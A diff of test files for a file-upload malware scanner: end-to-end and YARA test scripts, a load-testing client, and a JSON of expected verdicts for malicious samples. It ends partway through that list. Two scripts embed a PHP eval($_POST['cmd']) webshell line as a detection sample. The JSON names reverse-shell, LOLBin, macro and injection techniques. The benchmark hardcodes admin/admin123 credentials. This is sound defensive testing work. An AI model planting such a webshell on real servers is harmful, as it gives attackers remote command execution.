file_path=tmp1.name, original_filename='shell.php',
task_id='e2e-idem-001', channel='e2e', client_id='test',
)
first_ms = int((time.perf_counter() - t1) * 1000)
os.unlink(tmp1.name)
print(f'\n6. 首次扫描: verdict={outcome1.verdict} score={outcome1.score} findings={len(outcome1.findings)} took={first_ms}ms idem={outcome1.meta.get("idempotent", False)}')
# 验证 idempotency_records 表写入
db = SessionLocal()
idem_count = db.query(IdempotencyRecord).count()
print(f' idempotency_records 表行数: {idem_count}')
db.close()
# ---- 3. 幂等二次扫描(同内容 + 同策略)----
tmp2 = tempfile.NamedTemporaryFile(delete=False, suffix='.php')
tmp2.write(b'<?php eval($_POST["cmd"]); echo "ok"; ?>') # 完全相同内容
tmp2.close()
t2 = time.perf_counter()
outcome2 = scanner.scan_file(
file_path=tmp2.name, original_filename='shell.php',
task_id='e2e-idem-002', channel='e2e', client_id='test',
)
idem_ms = int((time.perf_counter() - t2) * 1000)
os.unlink(tmp2.name)
print(f'\n7. 幂等扫描: verdict={outcome2.verdict} findings={len(outcome2.findings)} took={idem_ms}ms idem={outcome2.meta.get("idempotent", False)}')
speedup = first_ms / max(idem_ms, 1)
print(f' 提速: {speedup:.1f}x(幂等跳过了引擎扫描)')
assert outcome2.meta.get('idempotent') is True, '❌ 幂等未命中'
assert idem_ms < first_ms, '❌ 幂等应该更快'
print(' ✅ 幂等生效')
# ---- 4. 限流(内存模式,client_id=test)----
# 扫描接口需要签名,这里用 memory 限流直接测底层
from app.security.ratelimit import _memory_check
# 填满窗口
for _ in range(60):
_memory_check('test:ratelimit_test', 60)
ok = _memory_check('test:ratelimit_test', 60)
print(f'\n8. 限流测试(61/60): {"通过" if ok else "被拒绝 ✅"}')
assert ok is False, '❌ 限流应拒绝第 61 次'
print(' ✅ 限流生效')
# 清内存窗口,给后续 run 不受影响
import app.security.ratelimit as rl
with rl._MEM_LOCK:
rl._MEM_BUCKET.clear()
print('\n=== E2E 全部通过 ✅ ===')

42
tests/_yara_check.py Normal file
View File

@@ -0,0 +1,42 @@
import yara, os
os.chdir(r'd:\project\MeshSafe')
rules = yara.compile(filepaths={f: os.path.join('rules', f) for f in os.listdir('rules') if f.endswith('.yar')})
# 测 PHP eval
import tempfile
tmp = tempfile.NamedTemporaryFile(delete=False, suffix='.php', mode='wb')
tmp.write(b'<?php eval($_POST["cmd"]); echo "ok"; ?>')
tmp.close()
matches = rules.match(tmp.name)
print(f'PHP eval: {[m.rule for m in matches]}')
os.unlink(tmp.name)
# 测 PE
pe_path = 'tests/samples/pe_injection.exe'
if os.path.exists(pe_path):
matches = rules.match(pe_path)
print(f'PE injection: {[m.rule for m in matches]}')
# 测 PHP 文件(用真实样本)
php_path = 'tests/samples/shell_php_eval.php'
if os.path.exists(php_path):
matches = rules.match(php_path)
print(f'shell_php_eval.php: {[m.rule for m in matches]}')
# 测 python reverse shell
py_path = 'tests/samples/shell_python.py'
if os.path.exists(py_path):
matches = rules.match(py_path)
print(f'shell_python.py: {[m.rule for m in matches]}')
# 测 certutil lolbin
lol_path = 'tests/samples/lolbin.cmd'
if os.path.exists(lol_path):
matches = rules.match(lol_path)
print(f'lolbin.cmd: {[m.rule for m in matches]}')
# 测 normal_deploy.sh
sh_path = 'tests/samples/normal_deploy.sh'
if os.path.exists(sh_path):
matches = rules.match(sh_path)
print(f'normal_deploy.sh: {[m.rule for m in matches]}')

661
tests/benchmark.py Normal file
View File

@@ -0,0 +1,661 @@
#!/usr/bin/env python3
"""MeshSafe 并发压测脚本。
用法:
python tests/benchmark.py # 跑全部默认场景
python tests/benchmark.py --concurrent 50 # 只跑 50 并发
python tests/benchmark.py --concurrent 50 100 # 跑 50 和 100 两档
python tests/benchmark.py --batch-sizes 10 50 100 # 批量档
python tests/benchmark.py --base-url http://127.0.0.1:44380
python tests/benchmark.py --report out.json # 额外输出 JSON 报告
原理:
httpx.AsyncClient + asyncio.Semaphore 控制并发数
样本从 tests/samples/ 自动扫描,按大小分档
大文件(5MB)现场 os.urandom 生成后自动清理
"""
from __future__ import annotations
import argparse
import asyncio
import json
import os
import random
import statistics
import sys
import tempfile
import time
from dataclasses import dataclass, field
from datetime import datetime
from pathlib import Path
from typing import List, Optional, Tuple
import httpx
# ---------------------------------------------------------------------------
# 配置常量
# ---------------------------------------------------------------------------
DEFAULT_BASE_URL = "http://127.0.0.1:44380"
SAMPLES_DIR = Path(__file__).resolve().parent / "samples"
DEFAULT_TIMEOUT = 60.0 # 单个请求 60s 超时
WARMUP_COUNT = 5 # 预热次数(不计入统计)
# 大小分档(字节)
SIZE_TINY = 2 * 1024 # ≤ 2KB
SIZE_SMALL = 16 * 1024 # 2KB ~ 16KB
SIZE_MEDIUM = 100 * 1024 # 16KB ~ 100KB
SIZE_LARGE = 5 * 1024 * 1024 # ≥ 5MB(现场生成)
# ---------------------------------------------------------------------------
# 数据类
# ---------------------------------------------------------------------------
@dataclass
class SampleFile:
path: Path
name: str
size: int
size_bucket: str # tiny / small / medium / large
@dataclass
class RequestResult:
idx: int
start_ts: float
end_ts: float
duration_ms: int
status_code: int
ok: bool
error: Optional[str] = None
files_count: int = 0
avg_file_ms: int = 0
@dataclass
class ScenarioResult:
name: str
concurrent: int
files_per_request: int
size_bucket: str
started_at: str
finished_at: str
total_duration_ms: int
results: List[RequestResult] = field(default_factory=list)
# 聚合统计
@property
def total_requests(self) -> int:
return len(self.results)
@property
def total_files(self) -> int:
return sum(r.files_count for r in self.results)
@property
def qps(self) -> float:
if self.total_duration_ms <= 0:
return 0.0
return self.total_requests / (self.total_duration_ms / 1000.0)
@property
def files_per_sec(self) -> float:
if self.total_duration_ms <= 0:
return 0.0
return self.total_files / (self.total_duration_ms / 1000.0)
@property
def latencies_ms(self) -> List[int]:
return [r.duration_ms for r in self.results if r.ok]
@property
def avg_ms(self) -> float:
data = self.latencies_ms
return statistics.mean(data) if data else 0.0
@property
def p50_ms(self) -> float:
data = self.latencies_ms
return self._percentile(data, 50) if data else 0.0
@property
def p95_ms(self) -> float:
data = self.latencies_ms
return self._percentile(data, 95) if data else 0.0
@property
def p99_ms(self) -> float:
data = self.latencies_ms
return self._percentile(data, 99) if data else 0.0
@property
def error_rate(self) -> float:
if not self.results:
return 0.0
bad = sum(1 for r in self.results if not r.ok)
return bad / len(self.results)
@property
def slowest(self) -> Optional[RequestResult]:
oks = [r for r in self.results if r.ok]
return max(oks, key=lambda r: r.duration_ms) if oks else None
@staticmethod
def _percentile(data: List[int], pct: float) -> float:
if not data:
return 0.0
s = sorted(data)
k = (len(s) - 1) * (pct / 100.0)
f = int(k)
c = f + 1 if f + 1 < len(s) else f
if f == c:
return float(s[f])
return float(s[f] * (c - k) + s[c] * (k - f))
# ---------------------------------------------------------------------------
# 样本加载
# ---------------------------------------------------------------------------
def load_samples() -> List[SampleFile]:
"""扫描 tests/samples/ 下所有文件(跳过 index.json 和 _scan_results.json)。"""
samples: List[SampleFile] = []
if not SAMPLES_DIR.exists():
return samples
for p in SAMPLES_DIR.iterdir():
if not p.is_file():
continue
if p.name.startswith("_") or p.suffix == ".json":
continue
size = p.stat().st_size
if size <= SIZE_TINY:
bucket = "tiny"
elif size <= SIZE_SMALL:
bucket = "small"
elif size <= SIZE_MEDIUM:
bucket = "medium"
else:
bucket = "large"
samples.append(SampleFile(path=p, name=p.name, size=size, size_bucket=bucket))
return samples
def pick_samples(
all_samples: List[SampleFile],
count: int,
bucket: str = "mixed",
with_large_placeholder: bool = False,
) -> List[SampleFile]:
"""从样本池里挑 count 个文件。
bucket: tiny / small / medium / large / mixed
with_large_placeholder: 如果 bucket=large,返回一个 placeholder 让调用者生成大文件
"""
if not all_samples and not with_large_placeholder:
return []
pool = all_samples
if bucket != "mixed":
pool = [s for s in all_samples if s.size_bucket == bucket]
if not pool:
# 如果指定 bucket 没文件,fallback 到 mixed
pool = all_samples
picked = random.choices(pool, k=count)
return list(picked)
def make_large_temp_file(size_bytes: int = 5 * 1024 * 1024) -> Tuple[tempfile.NamedTemporaryFile, str]:
"""生成大文件(5MB),用于 large bucket 测试。"""
tmp = tempfile.NamedTemporaryFile(delete=False, suffix=".bin")
tmp.write(os.urandom(size_bytes))
tmp.flush()
return tmp, tmp.name
# ---------------------------------------------------------------------------
# 核心压测客户端
# ---------------------------------------------------------------------------
class BenchmarkClient:
def __init__(
self,
base_url: str,
username: str = "admin",
password: str = "admin123",
timeout: float = DEFAULT_TIMEOUT,
) -> None:
self.base_url = base_url.rstrip("/")
self.username = username
self.password = password
self.timeout = timeout
self.cookies: httpx.Cookies = httpx.Cookies()
async def login(self) -> None:
"""登录 console,获取 session cookie。"""
async with httpx.AsyncClient(timeout=self.timeout, verify=False, follow_redirects=True) as c:
# 先 GET 登录页拿 csrf(如果有)
await c.get(f"{self.base_url}/console/login")
r = await c.post(
f"{self.base_url}/console/login",
data={"username": self.username, "password": self.password},
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
self.cookies = c.cookies
if r.status_code not in (200, 302):
raise RuntimeError(f"登录失败: HTTP {r.status_code}")
async def upload_one(
self,
client: httpx.AsyncClient,
files: List[Tuple[str, bytes, str]], # [(filename, content_bytes, content_type), ...]
) -> RequestResult:
"""一次 upload 请求(可带多文件)。"""
idx = random.randint(0, 999999)
t0 = time.perf_counter()
file_handles = []
try:
# 构造 files 参数
upload_files = [("files", (name, content, ct)) for name, content, ct in files]
r = await client.post(
f"{self.base_url}/console/test/upload",
files=upload_files,
)
t1 = time.perf_counter()
ok = r.status_code == 200
error = None
files_count = len(files)
if ok:
try:
body = r.json()
if isinstance(body, dict):
results_list = body.get("results", [])
ok = all(it.get("verdict") not in ("error",) for it in results_list)
except Exception as exc:
ok = False
error = f"JSON decode error: {exc}"
else:
error = f"HTTP {r.status_code}"
avg_file_ms = int((t1 - t0) * 1000 / max(files_count, 1))
return RequestResult(
idx=idx,
start_ts=t0,
end_ts=t1,
duration_ms=int((t1 - t0) * 1000),
status_code=r.status_code,
ok=ok,
error=error,
files_count=files_count,
avg_file_ms=avg_file_ms,
)
except Exception as exc: # noqa: BLE001
t1 = time.perf_counter()
return RequestResult(
idx=idx,
start_ts=t0,
end_ts=t1,
duration_ms=int((t1 - t0) * 1000),
status_code=0,
ok=False,
error=str(exc),
files_count=len(files),
)
finally:
for fh in file_handles:
try:
fh.close()
except Exception:
pass
async def run_scenario(
self,
name: str,
concurrent: int,
total_requests: int,
files_per_request: int,
size_bucket: str,
samples: List[SampleFile],
) -> ScenarioResult:
"""跑一个场景。
concurrent: 并发度(同时在飞的请求数上限)
total_requests: 总共发多少请求
files_per_request: 每个请求带几个文件(1=单文件场景,>1=批量)
size_bucket: tiny/small/medium/large/mixed
samples: 样本池
"""
result = ScenarioResult(
name=name,
concurrent=concurrent,
files_per_request=files_per_request,
size_bucket=size_bucket,
started_at=datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
finished_at="",
total_duration_ms=0,
)
sem = asyncio.Semaphore(concurrent)
async def _worker(idx: int, client: httpx.AsyncClient) -> RequestResult:
async with sem:
return await self._make_request(client, files_per_request, size_bucket, samples)
connector = httpx.Limits(max_connections=concurrent * 2, max_keepalive_connections=concurrent)
async with httpx.AsyncClient(
timeout=self.timeout,
verify=False,
follow_redirects=True,
cookies=self.cookies,
limits=connector,
) as client:
# 预热(不计入)
if WARMUP_COUNT > 0:
warmup_samples = pick_samples(samples, 1, size_bucket)
for _ in range(min(WARMUP_COUNT, total_requests)):
try:
warmup_files = [(s.name, s.path.read_bytes(), "application/octet-stream") for s in warmup_samples]
await self.upload_one(client, warmup_files)
except Exception:
pass
# 正式跑
t_start = time.perf_counter()
tasks = [asyncio.create_task(_worker(i, client)) for i in range(total_requests)]
for fut in asyncio.as_completed(tasks):
r = await fut
result.results.append(r)
t_end = time.perf_counter()
result.total_duration_ms = int((t_end - t_start) * 1000)
result.finished_at = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
return result
async def _make_request(
self,
client: httpx.AsyncClient,
files_per_request: int,
size_bucket: str,
samples: List[SampleFile],
) -> RequestResult:
"""构造一个请求的文件列表,处理大文件临时生成。"""
# 决定这个请求里每个文件的 bucket
if size_bucket == "mixed":
# 混合:随机挑 30% 小、50% 中、20% 大(大的现场生成)
pass
picked = pick_samples(samples, files_per_request, size_bucket)
upload_files: List[Tuple[str, bytes, str]] = []
temp_files_to_clean: List[str] = []
for s in picked:
if size_bucket == "large" or (size_bucket == "mixed" and random.random() < 0.2 and s.size_bucket != "large"):
# 生成大文件 placeholder(用 .bin 模拟,如果没有 large bucket 样本)
tmp_path = None
large_candidates = [ps for ps in picked if ps.size_bucket == "large"]
if large_candidates:
real = random.choice(large_candidates)
upload_files.append((real.name, real.path.read_bytes(), "application/octet-stream"))
else:
tmp, tmp_path = make_large_temp_file(5 * 1024 * 1024)
upload_files.append((f"large_test_{tmp.name}.bin", Path(tmp.name).read_bytes(), "application/octet-stream"))
temp_files_to_clean.append(tmp.name)
tmp.close()
else:
upload_files.append((s.name, s.path.read_bytes(), "application/octet-stream"))
try:
return await self.upload_one(client, upload_files)
finally:
for tf in temp_files_to_clean:
try:
os.unlink(tf)
except Exception:
pass
# ---------------------------------------------------------------------------
# 报告格式化
# ---------------------------------------------------------------------------
def print_report(scenarios: List[ScenarioResult], base_url: str, workers: int = 4) -> None:
"""终端输出汇总报告。"""
print("\n" + "=" * 80)
print(" MeshSafe 并发压测报告")
print("=" * 80)
print(f" 目标: {base_url}")
print(f" 时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print(f" uvicorn: --workers {workers}")
print(f" DB pool: pool_size=20, max_overflow=30 (总上限 50)")
print(f" 预热: {WARMUP_COUNT} 次不计入")
print("-" * 80)
for sc in scenarios:
print(f"\n【{sc.name}】")
print(f" 并发数: {sc.concurrent}")
print(f" 请求文件数: {sc.files_per_request} 个/请求")
print(f" 文件大小档: {sc.size_bucket}")
print(f" 总请求数: {sc.total_requests}")
print(f" 总文件数: {sc.total_files}")
print(f" 总耗时: {sc.total_duration_ms} ms ({sc.total_duration_ms/1000:.2f}s)")
print(f" QPS: {sc.qps:.2f} req/s")
print(f" 文件吞吐: {sc.files_per_sec:.2f} files/s")
print(f" 单请求耗时:")
print(f" 平均: {sc.avg_ms:.0f} ms")
print(f" P50: {sc.p50_ms:.0f} ms")
print(f" P95: {sc.p95_ms:.0f} ms")
print(f" P99: {sc.p99_ms:.0f} ms")
print(f" 错误率: {sc.error_rate*100:.1f}%")
if sc.slowest:
slowest_msg = sc.slowest.error or "ok"
print(f" 最慢请求: {sc.slowest.duration_ms} ms ({slowest_msg[:60]})")
# 瓶颈分析
print("\n" + "-" * 80)
print("【瓶颈分析】")
_analyze(scenarios)
print("\n" + "=" * 80)
def _analyze(scenarios: List[ScenarioResult]) -> None:
if not scenarios:
return
for sc in scenarios:
if sc.concurrent == 1 and sc.files_per_request == 1 and sc.size_bucket in ("mixed", "medium"):
baseline = sc.avg_ms
print(f" 基准单文件串行: {baseline:.0f} ms")
# 并发场景看扩展效率
for sc in scenarios:
if sc.concurrent > 1 and sc.files_per_request == 1:
print(f" {sc.concurrent} 并发单文件:")
if sc.avg_ms < 300:
print(f" ✅ 响应快(avg={sc.avg_ms:.0f}ms)")
elif sc.avg_ms < 800:
print(f" ⚠️ 中等(avg={sc.avg_ms:.0f}ms)")
else:
print(f" 🔴 较慢(avg={sc.avg_ms:.0f}ms)—— 可能 uvicorn worker 不够或 DB pool 满")
if sc.error_rate > 0:
print(f" 🔴 错误率 {sc.error_rate*100:.1f}% —— 检查 DB 连接池 / ClamAV / YARA")
if sc.files_per_request > 1:
per_file = sc.avg_ms / sc.files_per_request
print(f" 批量 {sc.files_per_request} 文件·单用户:")
print(f" 总耗时 ≈ {sc.avg_ms:.0f}ms 单文件均摊 ≈ {per_file:.0f}ms")
if per_file > 300:
print(f" ⚠️ 批量内部 for 循环串行,单文件均摊偏高—— 可考虑 ThreadPoolExecutor 并行化")
else:
print(f" ✅ 批量表现正常")
def to_json_report(scenarios: List[ScenarioResult], base_url: str) -> dict:
return {
"generated_at": datetime.now().isoformat(),
"base_url": base_url,
"uvicorn_workers": 4,
"db_pool": {"pool_size": 20, "max_overflow": 30},
"scenarios": [
{
"name": sc.name,
"concurrent": sc.concurrent,
"files_per_request": sc.files_per_request,
"size_bucket": sc.size_bucket,
"started_at": sc.started_at,
"finished_at": sc.finished_at,
"total_duration_ms": sc.total_duration_ms,
"total_requests": sc.total_requests,
"total_files": sc.total_files,
"qps": round(sc.qps, 2),
"files_per_sec": round(sc.files_per_sec, 2),
"latency_ms": {
"avg": round(sc.avg_ms, 1),
"p50": round(sc.p50_ms, 1),
"p95": round(sc.p95_ms, 1),
"p99": round(sc.p99_ms, 1),
},
"error_rate": round(sc.error_rate, 4),
"slowest_ms": sc.slowest.duration_ms if sc.slowest else None,
}
for sc in scenarios
],
}
# ---------------------------------------------------------------------------
# 主入口
# ---------------------------------------------------------------------------
async def _main() -> None:
parser = argparse.ArgumentParser(description="MeshSafe 并发压测")
parser.add_argument("--base-url", default=DEFAULT_BASE_URL, help="MeshSafe 基地址")
parser.add_argument("--username", default="admin")
parser.add_argument("--password", default="admin123")
parser.add_argument(
"--concurrent",
nargs="+",
type=int,
default=[50, 100],
help="并发度档位(可多值)",
)
parser.add_argument(
"--batch-sizes",
nargs="+",
type=int,
default=[10, 50],
help="批量上传文件数(单用户·多文件场景)",
)
parser.add_argument(
"--requests-per-batch",
type=int,
default=5,
help="批量场景下发几个请求(每个请求带 N 文件)",
)
parser.add_argument(
"--requests-per-concurrent",
type=int,
default=2,
help="并发场景下每个并发度发几个请求",
)
parser.add_argument("--timeout", type=float, default=DEFAULT_TIMEOUT)
parser.add_argument("--report", default=None, help="JSON 报告输出路径")
args = parser.parse_args()
# 1. 加载样本
all_samples = load_samples()
if not all_samples:
print(f"❌ tests/samples/ 下没找到样本文件")
sys.exit(1)
sizes = sorted([(s.size, s.size_bucket) for s in all_samples], reverse=True)
print(f"📦 样本池: {len(all_samples)} 个文件")
for bucket in ("tiny", "small", "medium", "large"):
count = sum(1 for _, b in sizes if b == bucket)
if count:
print(f" {bucket:7s}: {count} 个")
# 2. 登录
print(f"\n🔐 登录 {args.base_url} ...")
client = BenchmarkClient(base_url=args.base_url, username=args.username, password=args.password, timeout=args.timeout)
await client.login()
print(" ✅ 登录成功")
# 3. 跑场景
scenarios: List[ScenarioResult] = []
# 场景 A:基准串行(1 并发)
print("\n" + "=" * 80)
print("【场景 A】基准串行·单文件·混合大小")
print("=" * 80)
sc_a = await client.run_scenario(
name="A1. 基准串行·单文件",
concurrent=1,
total_requests=20,
files_per_request=1,
size_bucket="mixed",
samples=all_samples,
)
scenarios.append(sc_a)
# 场景 B:多用户并发·单文件
for conc in args.concurrent:
print(f"\n{'='*80}")
print(f"【场景 B】{conc} 并发·单文件·混合大小")
print("=" * 80)
sc = await client.run_scenario(
name=f"B.{conc}·并发单文件·混合",
concurrent=conc,
total_requests=conc * args.requests_per_concurrent,
files_per_request=1,
size_bucket="mixed",
samples=all_samples,
)
scenarios.append(sc)
# 场景 C:单用户·批量多文件
for batch_n in args.batch_sizes:
print(f"\n{'='*80}")
print(f"【场景 C】单用户·{batch_n} 文件批量上传")
print("=" * 80)
sc = await client.run_scenario(
name=f"C.{batch_n}·单用户批量",
concurrent=1,
total_requests=args.requests_per_batch,
files_per_request=batch_n,
size_bucket="mixed",
samples=all_samples,
)
scenarios.append(sc)
# 场景 D:多用户并发·批量
conc_mix = max(10, min(args.concurrent[0] // 5, 20))
batch_mix = 10
print(f"\n{'='*80}")
print(f"【场景 D】{conc_mix} 并发·{batch_mix} 文件/请求(最坏情况)")
print("=" * 80)
sc_d = await client.run_scenario(
name=f"D.{conc_mix}并发×{batch_mix}文件",
concurrent=conc_mix,
total_requests=conc_mix,
files_per_request=batch_mix,
size_bucket="mixed",
samples=all_samples,
)
scenarios.append(sc_d)
# 4. 输出报告
print_report(scenarios, args.base_url)
# 5. JSON 报告
if args.report:
report = to_json_report(scenarios, args.base_url)
Path(args.report).parent.mkdir(parents=True, exist_ok=True)
Path(args.report).write_text(json.dumps(report, indent=2, ensure_ascii=False), encoding="utf-8")
print(f"\n📄 JSON 报告已保存: {args.report}")
if __name__ == "__main__":
asyncio.run(_main())

View File

@@ -0,0 +1,650 @@
[
{
"filename": "evil_help.chm",
"category": "CHM帮助",
"description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"ChmWithScript"
],
"actual_rules": [
"ChmWithScript",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "evil.iso",
"category": "ISO镜像",
"description": "ISO 镜像内嵌 ELF 可执行文件",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"IsoWithExecutable"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "shortcut.lnk",
"category": "LNK",
"description": "LNK Shell Link 指向 cmd.exe /c 下载执行",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"LnkWithAutoExec"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "lolbin.cmd",
"category": "LOLBin",
"description": "certutil -decode LOLBin 下载执行",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C1_PE_LOLBin_Usage"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "linux_malicious",
"category": "Linux可执行",
"description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"LinuxExecutable"
],
"actual_rules": [
"C7_Linux_ReverseShell_Bash",
"LinuxExecutable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "malicious.desktop",
"category": "Linux后门",
"description": ".desktop 文件恶意 Exec 字段",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"DesktopFileAutoExec"
],
"actual_rules": [
"C7_Linux_ReverseShell_Bash",
"C7_Linux_ReverseShell_Misc",
"DangerousExecutableExtension",
"DesktopFileAutoExec"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 5
},
{
"filename": "shell_bash_devtcp.sh",
"category": "Linux后门",
"description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"C7_Linux_ReverseShell_Bash",
"ShellScriptDangerous"
],
"actual_rules": [
"C7_Linux_ReverseShell_Bash",
"DangerousExecutableExtension",
"ShellScriptDangerous"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "shell_nc.sh",
"category": "Linux后门",
"description": "nc -e /bin/bash 反弹 Shell",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"C7_Linux_ReverseShell_NC",
"ShellScriptDangerous"
],
"actual_rules": [
"C7_Linux_ReverseShell_NC",
"DangerousExecutableExtension",
"ShellScriptDangerous"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "shell_python.py",
"category": "Linux后门",
"description": "Python pty + socket 反弹 Shell",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C7_Linux_ReverseShell_Python",
"ShellScriptDangerous"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "ole_dropper.doc",
"category": "OLE嵌入",
"description": "DOC 文件内嵌 .exe OLE 对象(OLE2 CFB + .exe stream)",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"EmbeddedExecutable"
],
"actual_rules": [
"OleToolsUnavailable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "macro_alert.docm",
"category": "Office宏",
"description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"VBAAutoExec",
"VBAAutoExecShell"
],
"actual_rules": [
"ArchiveContainsExecutable",
"ExtensionMismatch",
"OleToolsUnavailable",
"VBAAutoExecShell"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 4
},
{
"filename": "template_backdoor.docx",
"category": "Office宏",
"description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"AttachedTemplate"
],
"actual_rules": [
"AttachedTemplate",
"OleToolsUnavailable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "vba_autoexec.bas",
"category": "Office宏",
"description": "VBA AutoOpen + Shell 执行",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"VBAAutoExec"
],
"actual_rules": [
"VBAAutoExecShell"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "malicious.pdf",
"category": "PDF载荷",
"description": "PDF /OpenAction /JS app.launchURL 自动执行",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"PdfJavaScript",
"PdfOpenAction"
],
"actual_rules": [
"OleToolsUnavailable",
"PdfJavaScript",
"PdfOpenAction"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "pe_downloader.exe",
"category": "PE恶意程序",
"description": "PE 下载器:URLDownloadToFile + RegSetValue + CreateService",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C1_PE_Downloader_Loader"
],
"actual_rules": [
"C1_PE_Downloader_Loader",
"DangerousExecutableExtension",
"PeParseFailed"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "pe_injection.exe",
"category": "PE恶意程序",
"description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C1_PE_ProcessInjection"
],
"actual_rules": [
"C1_PE_ProcessInjection",
"DangerousExecutableExtension",
"PeParseFailed"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "wps_macro.js",
"category": "WPS宏",
"description": "WPS Linux JS 宏 AutoOpen + /bin/sh",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"VBAAutoExecShell"
],
"actual_rules": [
"C7_Linux_ReverseShell_Bash",
"C7_Linux_ReverseShell_Misc",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "shell_aspx.aspx",
"category": "Webshell",
"description": "ASP.NET Process.Start 命令执行",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C3_Webshell_ASPNET"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "shell_jsp_runtime.jsp",
"category": "Webshell",
"description": "JSP Runtime.getRuntime().exec 命令执行",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C3_JSP_Webshell_RuntimeExec"
],
"actual_rules": [
"C3_JSP_Webshell_RuntimeExec",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "shell_php_eval.php",
"category": "Webshell",
"description": "PHP oneliner eval + echo 组合",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C3_PHP_Webshell_Oneliner"
],
"actual_rules": [
"C3_PHP_Webshell_Oneliner",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "shell_php_obf.php",
"category": "Webshell",
"description": "PHP base64 + assert 混淆",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C3_PHP_Webshell_Obfuscated"
],
"actual_rules": [
"C3_PHP_Webshell_Obfuscated",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "photo.jpg.php",
"category": "伪装",
"description": "双扩展名伪装 .jpg.php",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"DoubleExtension"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "sealed.docx",
"category": "加密Office",
"description": "加密 DOCX(密码 changeme,msoffcrypto 加密)",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"OfficeEncrypted"
],
"actual_rules": [
"ArchiveBroken",
"MalformedStructure",
"OfficeEncrypted",
"OleToolsUnavailable",
"OoxmlParseFailed"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 5
},
{
"filename": "sealed.xlsx",
"category": "加密Office",
"description": "加密 XLSX(密码 changeme,msoffcrypto 加密)",
"expected_verdict": "reject",
